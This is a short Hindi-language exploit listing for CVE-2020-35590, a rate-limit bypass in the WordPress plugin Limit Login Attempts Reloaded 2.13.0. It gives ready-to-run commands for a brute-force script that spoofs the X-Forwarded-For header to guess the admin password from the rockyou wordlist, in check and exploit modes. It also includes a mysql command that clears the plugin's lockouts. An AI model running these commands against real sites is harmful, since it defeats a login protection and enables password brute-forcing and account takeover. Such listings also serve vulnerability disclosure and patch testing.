CVE-2020-35590

शोषण जानकारी

शोषण शीर्षक: WordPress प्लगइन Limit Login Attempts Reloaded 2.13.0 - लॉगिन सीमा बाईपास
CVE: CVE-2020-35590
दिनांक: 2020-06-09
शोषण लेखक: N4nj0
सॉफ्टवेयर लिंक: https://wordpress.org/plugins/limit-login-attempts-reloaded/
संस्करण: 2.13.0
परीक्षित: WordPress 5.4.1, 5.4.2
भेद्यता सलाह: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/

प्रभावित WordPress प्लगइन एक ब्रूटफोर्स हमला सुरक्षा तंत्र होने का उद्देश्य रखता है, और वर्तमान में 1 मिलियन से अधिक सक्रिय स्थापनाओं में स्थापित है।
मैंने एक गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत एक दर सीमित बाईपास पाया है, जो प्रभावी रूप से प्लगइन के उद्देश्य को विफल कर देता है।

उपयोग

जाँच

./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

शोषण

./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

मैन्युअल रूप से उपयोगकर्ता अनलॉक करें

mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"